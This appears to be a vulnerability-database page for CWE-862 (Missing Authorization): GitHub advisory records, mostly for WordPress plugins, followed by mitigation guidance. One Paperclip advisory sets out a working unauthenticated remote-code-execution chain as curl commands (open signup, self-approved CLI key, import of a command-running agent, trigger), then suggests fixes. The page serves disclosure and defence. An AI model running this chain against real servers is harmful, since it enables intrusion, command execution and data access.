CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
14700 vulnerabilities reference this CWE, most recent first.
GHSA-686P-7Q3M-4R7X
Vulnerability from github – Published: 2022-05-24 17:11 – Updated: 2022-05-24 17:11GitLab EE 12.4.2 through 12.8.1 allows Denial of Service. It was internally discovered that a potential denial of service involving permissions checks could impact a project home page.
{
"affected": [],
"aliases": [
"CVE-2020-10073"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-13T18:15:00Z",
"severity": "MODERATE"
},
"details": "GitLab EE 12.4.2 through 12.8.1 allows Denial of Service. It was internally discovered that a potential denial of service involving permissions checks could impact a project home page.",
"id": "GHSA-686p-7q3m-4r7x",
"modified": "2022-05-24T17:11:27Z",
"published": "2022-05-24T17:11:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10073"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2020/03/04/gitlab-12-dot-8-dot-2-released"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2020/03/04/gitlab-12-dot-8-dot-2-released/index.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6879-VFM4-HV3X
Vulnerability from github – Published: 2023-08-18 09:30 – Updated: 2024-04-04 07:02The Stripe Payment Plugin for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the eh_callback_handler function in versions up to, and including, 3.7.9. This makes it possible for unauthenticated attackers to modify the order status of arbitrary WooCommerce orders.
{
"affected": [],
"aliases": [
"CVE-2023-4040"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-18T07:15:09Z",
"severity": "MODERATE"
},
"details": "The Stripe Payment Plugin for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the eh_callback_handler function in versions up to, and including, 3.7.9. This makes it possible for unauthenticated attackers to modify the order status of arbitrary WooCommerce orders.",
"id": "GHSA-6879-vfm4-hv3x",
"modified": "2024-04-04T07:02:40Z",
"published": "2023-08-18T09:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4040"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2954934"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ef543c61-2acc-4b72-81ff-883960d4c7c3?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-689C-7X7V-4XM7
Vulnerability from github – Published: 2024-12-13 15:30 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in wpdirectorykit.com WP Directory Kit allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Directory Kit: from n/a through 1.2.6.
{
"affected": [],
"aliases": [
"CVE-2023-41875"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-13T15:15:25Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in wpdirectorykit.com WP Directory Kit allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Directory Kit: from n/a through 1.2.6.",
"id": "GHSA-689c-7x7v-4xm7",
"modified": "2026-04-28T21:35:27Z",
"published": "2024-12-13T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41875"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wpdirectorykit/vulnerability/wordpress-wp-directory-kit-plugin-1-2-6-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-689G-3F7F-VVG3
Vulnerability from github – Published: 2024-11-01 15:32 – Updated: 2024-11-01 15:32Missing Authorization vulnerability in CozyThemes Blockbooster allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Blockbooster: from n/a through 1.0.10.
{
"affected": [],
"aliases": [
"CVE-2024-43979"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-01T15:15:50Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in CozyThemes Blockbooster allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Blockbooster: from n/a through 1.0.10.",
"id": "GHSA-689g-3f7f-vvg3",
"modified": "2024-11-01T15:32:00Z",
"published": "2024-11-01T15:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43979"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/blockbooster/wordpress-blockbooster-theme-1-0-10-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-68GF-3QQH-XC9R
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 18:31The Breeze - WordPress Cache Plugin plugin for WordPress is vulnerable to unauthorized cache clearing in all versions up to, and including, 2.2.21. This is due to the REST API endpoint /wp-json/breeze/v1/clear-all-cache being registered with permission_callback => '__return_true' and authentication being disabled by default when the API is enabled. This makes it possible for unauthenticated attackers to clear all site caches (page cache, Varnish, and Cloudflare) via a simple POST request, granted the administrator has enabled the API integration feature.
{
"affected": [],
"aliases": [
"CVE-2025-13864"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T07:17:33Z",
"severity": "MODERATE"
},
"details": "The Breeze - WordPress Cache Plugin plugin for WordPress is vulnerable to unauthorized cache clearing in all versions up to, and including, 2.2.21. This is due to the REST API endpoint `/wp-json/breeze/v1/clear-all-cache` being registered with `permission_callback =\u003e \u0027__return_true\u0027` and authentication being disabled by default when the API is enabled. This makes it possible for unauthenticated attackers to clear all site caches (page cache, Varnish, and Cloudflare) via a simple POST request, granted the administrator has enabled the API integration feature.",
"id": "GHSA-68gf-3qqh-xc9r",
"modified": "2026-02-19T18:31:49Z",
"published": "2026-02-19T18:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13864"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/breeze/tags/2.2.21/inc/breeze-admin.php#L749"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/breeze/tags/2.2.21/inc/class-breeze-api.php#L19"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/breeze/tags/2.2.21/inc/class-breeze-api.php#L22"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3425199%40breeze\u0026new=3425199%40breeze\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5a3c16a5-65e5-4fe9-b7f0-2e021534c054?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-68HH-G5C3-PJG2
Vulnerability from github – Published: 2024-11-01 15:31 – Updated: 2026-01-26 18:31Missing Authorization vulnerability in WPWeb Elite WooCommerce PDF Vouchers allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects WooCommerce PDF Vouchers: from n/a through 4.9.4.
{
"affected": [],
"aliases": [
"CVE-2024-39650"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-01T15:15:37Z",
"severity": "HIGH"
},
"details": "Missing Authorization vulnerability in WPWeb Elite WooCommerce PDF Vouchers allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects WooCommerce PDF Vouchers: from n/a through\u00a04.9.4.",
"id": "GHSA-68hh-g5c3-pjg2",
"modified": "2026-01-26T18:31:26Z",
"published": "2024-11-01T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39650"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/woocommerce-pdf-vouchers/wordpress-woocommerce-pdf-vouchers-plugin-4-9-3-unauthenticated-multiple-vulnerabilities?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-68J8-WGC6-45QW
Vulnerability from github – Published: 2024-12-31 12:30 – Updated: 2026-04-01 18:32Missing Authorization vulnerability in WP Royal Royal Elementor Addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Royal Elementor Addons: from n/a through 1.7.1001.
{
"affected": [],
"aliases": [
"CVE-2024-56227"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-31T11:15:08Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WP Royal Royal Elementor Addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Royal Elementor Addons: from n/a through 1.7.1001.",
"id": "GHSA-68j8-wgc6-45qw",
"modified": "2026-04-01T18:32:53Z",
"published": "2024-12-31T12:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56227"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/royal-elementor-addons/vulnerability/wordpress-royal-elementor-addons-plugin-1-7-1001-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-68MH-HG32-GWP6
Vulnerability from github – Published: 2026-05-11 21:31 – Updated: 2026-05-12 21:31An authorization issue was addressed with improved state management. This issue is fixed in macOS Tahoe 26.4. An app may be able to access sensitive user data.
{
"affected": [],
"aliases": [
"CVE-2026-20696"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-11T21:18:50Z",
"severity": "MODERATE"
},
"details": "An authorization issue was addressed with improved state management. This issue is fixed in macOS Tahoe 26.4. An app may be able to access sensitive user data.",
"id": "GHSA-68mh-hg32-gwp6",
"modified": "2026-05-12T21:31:32Z",
"published": "2026-05-11T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20696"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126794"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-68Q3-W8QH-6CCX
Vulnerability from github – Published: 2025-03-27 12:30 – Updated: 2026-04-01 18:34Missing Authorization vulnerability in falselight Exchange Rates allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Exchange Rates: from n/a through 1.2.2.
{
"affected": [],
"aliases": [
"CVE-2025-30864"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-27T11:15:47Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in falselight Exchange Rates allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Exchange Rates: from n/a through 1.2.2.",
"id": "GHSA-68q3-w8qh-6ccx",
"modified": "2026-04-01T18:34:08Z",
"published": "2025-03-27T12:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30864"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/exchange-rates/vulnerability/wordpress-exchange-rates-plugin-1-2-2-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-68QG-G8MG-6PR7
Vulnerability from github – Published: 2026-04-10 21:08 – Updated: 2026-04-27 16:19Summary
An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.
I verified every step against the latest version. I have a fully automated PoC script and a video recording available.
Discord: sagi03581
Steps to Reproduce
The attack chains four independent flaws to escalate from zero access to RCE:
Step 1: Create an account (no invite, no email verification)
curl -s -X POST -H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
http://<target>:3100/api/auth/sign-up/email
Returns a valid account immediately. No invite token required, no email verification.
This works because PAPERCLIP_AUTH_DISABLE_SIGN_UP defaults to false in server/src/config.ts:169-173:
const authDisableSignUp: boolean =
disableSignUpFromEnv !== undefined
? disableSignUpFromEnv === "true"
: (fileConfig?.auth?.disableSignUp ?? false); // default: open
And email verification is hardcoded off in server/src/auth/better-auth.ts:89-93:
emailAndPassword: {
enabled: true,
requireEmailVerification: false,
disableSignUp: config.authDisableSignUp,
},
The environment variable isn't documented in the deployment guide, so operators don't know it exists.
Step 2: Sign in
curl -s -v -X POST -H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com","password":"P@ssw0rd123"}' \
http://<target>:3100/api/auth/sign-in/email
Capture the session cookie from the Set-Cookie header.
Step 3: Create a CLI auth challenge and self-approve it
Create the challenge (no authentication required at all):
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challenges
The response includes a token and a boardApiToken. The handler at server/src/routes/access.ts:1638-1659 has no actor check -- anyone can create a challenge.
Now approve it with our own session:
curl -s -X POST \
-H "Cookie: <session-cookie>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{"token":"<token-from-above>"}' \
http://<target>:3100/api/cli-auth/challenges/<id>/approve
The approval handler at server/src/routes/access.ts:1687-1704 checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:
if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);
The boardApiToken from step 3 is now a persistent API key tied to our account.
Step 4: Create a company and deploy an agent via import (authorization bypass)
This is the critical flaw. The direct company creation endpoint correctly requires instance admin:
server/src/routes/companies.ts:260-264:
router.post("/", validate(createCompanySchema), async (req, res) => {
assertBoard(req);
if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
throw forbidden("Instance admin required");
}
});
But the import endpoint does not:
server/src/routes/companies.ts:170-176:
router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
assertBoard(req); // only checks board type
if (req.body.target.mode === "existing_company") {
assertCompanyAccess(req, req.body.target.companyId); // only for existing
}
// NO assertInstanceAdmin for "new_company" mode
const result = await portability.importBundle(req.body, ...);
});
assertInstanceAdmin isn't even imported in companies.ts (line 27 only imports assertBoard, assertCompanyAccess, getActorInfo), while it is imported and used in other route files like agents.ts.
The import also accepts a .paperclip.yaml in the bundle that specifies agent adapter configuration. The process adapter takes a command and args and calls spawn() directly with zero sandboxing. The import service passes the full adapterConfig through without validation (server/src/services/company-portability.ts:3955-3981).
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{
"source": {"type": "inline", "files": {
"COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
"agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
".paperclip.yaml": "agents:\n pwn:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
}},
"target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
"include": {"company": true, "agents": true},
"agents": "all"
}' \
http://<target>:3100/api/companies/import
Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.
Step 5: Trigger the agent
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{}' \
http://<target>:3100/api/agents/<agent-id>/wakeup
The wakeup handler at server/src/routes/agents.ts:2073-2085 only checks assertCompanyAccess, which passes because the attacker created the company. Paperclip spawns bash -c "id > /tmp/pwned.txt && ..." as the server's OS user.
Proof of Concept
I have a self-contained bash script that runs the full chain automatically:
./poc_exploit.sh http://<target>:3100
It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.
Impact
An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any authenticated mode deployment with default configuration. This gives them:
- Full filesystem access (read/write as the server user)
- Access to all data in the Paperclip database
- Ability to pivot to internal network services
- Ability to disrupt all agent operations
The attack is fully automated, requires no user interaction, and works against the default deployment configuration.
Suggested Fixes
Critical: Unauthorized board access (the root cause)
The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:
- Read adapter configurations and internal API structure
- Approve/reject/request-revision on any company's approvals (these endpoints only check
assertBoard, notassertCompanyAccess) - Cancel any company's agent runs (same missing check)
- Read issue data from any heartbeat run (zero auth on
GET /api/heartbeat-runs/:runId/issues) - Create unlimited accounts for resource exhaustion
- Wait for the next authorization bug to appear
These need to be fixed together:
-
Disable open registration by default --
server/src/config.ts:172, change?? falseto?? true. DocumentPAPERCLIP_AUTH_DISABLE_SIGN_UPin the deployment guide. Any deployment that wants open signup can opt in explicitly. -
Prevent CLI auth self-approval --
server/src/routes/access.ts, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key. -
Require email verification --
server/src/auth/better-auth.ts:91, setrequireEmailVerification: true. At minimum this stops throwaway accounts.
Critical: Import authorization bypass (the RCE path)
- Add
assertInstanceAdminto the import endpoint fornew_companymode --server/src/routes/companies.ts, lines 161-176. The directPOST /creation endpoint already has this check. The import endpoint doesn't. Apply the same check to bothPOST /importandPOST /import/preview:
assertBoard(req);
if (req.body.target.mode === "new_company") {
if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
throw forbidden("Instance admin required");
}
} else {
assertCompanyAccess(req, req.body.target.companyId);
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "paperclipai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.410.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@paperclipai/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.410.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41679"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-287",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T21:08:57Z",
"nvd_published_at": "2026-04-23T02:16:19Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target\u0027s address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}\u0027 \\\n http://\u003ctarget\u003e:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n disableSignUpFromEnv !== undefined\n ? disableSignUpFromEnv === \"true\"\n : (fileConfig?.auth?.disableSignUp ?? false); // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n enabled: true,\n requireEmailVerification: false,\n disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn\u0027t documented in the deployment guide, so operators don\u0027t know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}\u0027 \\\n http://\u003ctarget\u003e:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n -d \u0027{\"command\":\"test\"}\u0027 \\\n http://\u003ctarget\u003e:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n -H \"Cookie: \u003csession-cookie\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n -d \u0027{\"token\":\"\u003ctoken-from-above\u003e\"}\u0027 \\\n http://\u003ctarget\u003e:3100/api/cli-auth/challenges/\u003cid\u003e/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId \u0026\u0026 !isLocalImplicit(req))) {\n throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) =\u003e {\n assertBoard(req);\n if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n throw forbidden(\"Instance admin required\");\n }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) =\u003e {\n assertBoard(req); // only checks board type\n if (req.body.target.mode === \"existing_company\") {\n assertCompanyAccess(req, req.body.target.companyId); // only for existing\n }\n // NO assertInstanceAdmin for \"new_company\" mode\n const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn\u0027t even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n -d \u0027{\n \"source\": {\"type\": \"inline\", \"files\": {\n \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n \".paperclip.yaml\": \"agents:\\n pwn:\\n icon: terminal\\n adapter:\\n type: process\\n config:\\n command: bash\\n args:\\n - -c\\n - id \u003e /tmp/pwned.txt \u0026\u0026 whoami \u003e\u003e /tmp/pwned.txt\"\n }},\n \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n \"include\": {\"company\": true, \"agents\": true},\n \"agents\": \"all\"\n }\u0027 \\\n http://\u003ctarget\u003e:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n -d \u0027{}\u0027 \\\n http://\u003ctarget\u003e:3100/api/agents/\u003cagent-id\u003e/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id \u003e /tmp/pwned.txt \u0026\u0026 ...\"` as the server\u0027s OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://\u003ctarget\u003e:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server\u0027s OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company\u0027s approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company\u0027s agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn\u0027t. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n throw forbidden(\"Instance admin required\");\n }\n} else {\n assertCompanyAccess(req, req.body.target.companyId);\n}\n```",
"id": "GHSA-68qg-g8mg-6pr7",
"modified": "2026-04-27T16:19:04Z",
"published": "2026-04-10T21:08:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41679"
},
{
"type": "PACKAGE",
"url": "https://github.com/paperclipai/paperclip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
